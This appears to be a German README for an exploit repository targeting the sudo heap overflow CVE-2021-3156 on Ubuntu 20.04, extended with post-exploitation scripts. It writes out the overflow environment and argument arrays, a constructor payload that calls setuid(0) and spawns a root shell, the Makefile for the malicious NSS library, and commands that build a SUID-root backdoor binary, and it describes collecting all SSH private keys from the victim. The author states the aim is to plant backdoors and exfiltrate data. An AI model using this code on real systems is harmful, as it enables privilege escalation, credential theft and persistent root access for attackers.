
Exploit für Ubuntu 20.04 unter Verwendung von CVE-2021-3156, erweitert mit Post-Exploitation-Skripten
Exploit für Ubuntu 20.04 unter Verwendung von CVE-2021-3156, erweitert um einfache und automatisierte Post-Exploitation-Skripte
Neben der Root-Shell können Sie haben:
-Eine .txt-Datei mit allen id_rsa SSH-Schlüsseln, die auf dem Server konfiguriert sind. Siehe das Skript: get_all_ssh_keys.sh
-Eine ausführbare Datei privshell, die es jedem Benutzer ermöglicht, eine Root-Shell zu starten (in Arbeit, den gcc-Fehler zu beheben). Siehe das Skript: create_privshell.sh
Für ein erfolgreiches Ergebnis muss das Opfersystem eine der folgenden Versionen von Betriebssystem und Sudo haben:
-Ubuntu 20.04 (Sudo 1.8.31)
-Debian 10 (Sudo 1.8.27)
-Fedora 33 (Sudo 1.9.2)

Um meine VM anfällig zu machen, habe ich meine Sudo-Version mit folgendem Befehl herabgestuft:
$ sudo apt install sudo=1.8.31-1ubuntu1
Der Exploit kann funktionieren, solange der Zugriff auf das Opfersystem mit einem Benutzer ohne nennenswerte Berechtigungen erfolgt.

Sie können das Repository auf die Maschine des Opfers oder auf Ihre lokale Maschine klonen und es mit wget laden.

Führen Sie den Befehl "make" aus, um die .c-Dateien gemäß der Schwachstelle zu kompilieren.

Sie erhalten die Exploit-Datei und können sie mit "./" ausführen. Nachdem Sie den Exploit ausgeführt haben, sehen wir jetzt zwei Dateien, die im Repository generiert wurden: eine, die alle auf dem System registrierten SSH-Schlüssel enthält, und die andere, die die ausführbare SUID-Datei enthält, die allen Benutzern eine Root-Sitzung gewährt. (in Lila hervorgehoben)

Möglicherweise sehen Sie einen Fehler wie den folgenden:

Ich versuche immer noch, den Fehler zu beheben, aber ich nehme an, es liegt an der Shell, die den Exploit generiert. Ich habe versucht, den Befehl ./create_privshell.sh als root auszuführen, indem ich über sudo su von einem Benutzer mit entsprechenden Berechtigungen darauf zugegriffen habe, und die Skriptkompilierung war in Ordnung. Alternativ kann es auf einer anderen Maschine kompiliert und auf das Opfer kopiert werden, daher die Existenz einer wget-Anfrage.
Das zu kompilierende Skript ist das folgende:
echo 'int main() { setresuid(0,0,0); system("/bin/sh"); }' > privshell.c
gcc -o privshell privshell.c
rm privshell.c
chown root:root privshell
chmod u+s privshell
Sie können jetzt die .txt-Dateien mit allen SSH-Schlüsseln lesen und die privshell verwenden, bis ich den gcc-Fehler behoben habe.

Entdeckt von Qualys
CVSS-Score von 7.8
CVE-2021-3156, auch bekannt als die "Baron Samedit"-Schwachstelle, ist eine Sicherheitslücke, die das weit verbreitete sudo-Programm auf Unix-basierten Betriebssystemen betrifft. Sudo ist ein Programm, das Benutzern erlaubt, Befehle mit erhöhten Privilegien auszuführen, normalerweise durch Eingabe ihres eigenen Passworts oder eines Root-Passworts. Die Schwachstelle wird durch einen Pufferüberlauf in der "sudoedit"-Funktion des sudo-Befehls verursacht, die es Benutzern ermöglicht, Dateien mit erhöhten Privilegien zu bearbeiten. Die Schwachstelle wurde erstmals im Januar 2021 von Qualys Research Labs entdeckt und betrifft sudo-Versionen von 1.8.2 bis 1.8.31p2 sowie 1.9.0 bis 1.9.5p1.
###Sehr, sehr technische Details Info von: Qualys



Mit anderen Worten: set_cmnd() ist anfällig für einen heap-basierten Pufferüberlauf, da die außerhalb der Grenzen liegenden Zeichen, die in den "user_args"-Puffer kopiert werden, nicht in dessen Größe einbezogen wurden (berechnet in den Zeilen 852-853).
Für den Überlaufteil habe ich die Datei redhawkeye/sudo-exploit exploit.c verwendet.
Es ist etwas komplex, aber leicht interpretierbar.
char *env[] = {
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\",
"X/X",
concat("LC_ALL=C.UTF-8@", str_repeat('A', 0xd0)),
NULL
};
Dieser Teil deklariert ein Array von Umgebungsvariablen env, das an den execve-Systemaufruf übergeben wird. Die Umgebungsvariablen enthalten eine Reihe von Backslashes und eine speziell erstellte Variable namens LC_ALL mit dem Wert "C.UTF-8@" verknüpft mit 208 (0xd0) A-Zeichen. Der Wert C.UTF-8@ wird als Umgebungsvariable LC_ALL an den sudoedit-Befehl übergeben. Die 208 A-Zeichen werden verwendet, um einen Puffer im sudoedit-Programm zu überlaufen und beliebigen Code auszuführen.
char * a = concat(str_repeat('A', 0x70),"\\");
char * argv[] = {"/usr/bin/sudoedit", "-s", a, NULL};
execve(argv[0], argv, env);
Dieser Teil deklariert eine Variable a, die eine Zeichenkette von 112 (0x70) A-Zeichen gefolgt von einem Backslash enthält. Anschließend wird ein Array argv deklariert, das an execve übergeben wird. Das Array enthält den Pfad zum sudoedit-Befehl (/usr/bin/sudoedit), das Flag -s und die oben erstellte Variable a.
execve(argv[0], argv, env);
Dies ist der eigentliche execve-Systemaufruf, der den sudoedit-Befehl mit den bereitgestellten Argumenten und Umgebungsvariablen ausführt. Das sudoedit-Programm liest die Umgebungsvariable LC_ALL und versucht, sie als Dateipfad zu parsen. Die überlaufenden A-Zeichen werden verwendet, um beliebige Daten in den Speicher zu schreiben und möglicherweise beliebigen Code auszuführen.
Diese im Speicher für die RCE reservierten Daten werden von unserer Datei shell_tool.c verwendet.
__attribute((constructor))
static void sice() {
setuid(0);
system("command");
...
system("bash");
Dieser Teil des Codes deklariert eine Funktion namens sice mit dem Attribut attribute((constructor)), sodass die Funktion automatisch aufgerufen wird, wenn das Programm startet, bevor main() ausgeführt wird. Innerhalb der sice-Funktion wird die Funktion setuid(0) aufgerufen, um die effektive Benutzer-ID des Prozesses auf 0 zu setzen, die Benutzer-ID des Superusers oder Root. Dies verleiht dem Programm effektiv Root-Rechte. Danach können wir mit dem Argument system("command") alles tun, was wir wollen, bevor die Root-Sitzung im Terminal erscheint. Deshalb wollte ich die Sache mit dem Scripting versuchen, um einige Hintertüren zu haben und Daten zu exfiltrieren, bevor wir die Root-Shell erhalten.
Ich habe versucht, meine eigene Version des Codes namens mybufferof.c zu schreiben. Grundsätzlich ist sie ziemlich ähnlich, also zögern Sie nicht, das Makefile zu ändern, um es zu testen, jeje.
all:
gcc bufferof.c -o exploit
mkdir libnss_X
gcc -g -fPIC -shared shell_tool.c -o libnss_X/X.so.2
Zuerst müssen wir unseren Exploit kompilieren und dann das Verzeichnis "libnss_X" erstellen. Der letzte Befehl kompiliert die Datei shell_tool.c und erstellt eine Shared-Object-Datei namens X.so.2 im libnss_X-Verzeichnis:
Das Flag -g generiert Debug-Informationen für die Shared-Object-Datei.
Das Flag -fPIC erzeugt positionsunabhängigen Code für Shared Objects.
Das Flag -shared gibt an, dass eine Shared-Object-Datei erstellt werden soll.
Die resultierende Shared-Object-Datei X.so.2 wird im im zweiten Schritt erstellten libnss_X-Verzeichnis abgelegt.
Dies ist wichtig für die CVE, aus folgendem Grund:

Daten von:Qualys
Das war's, viel Spaß, schätze ich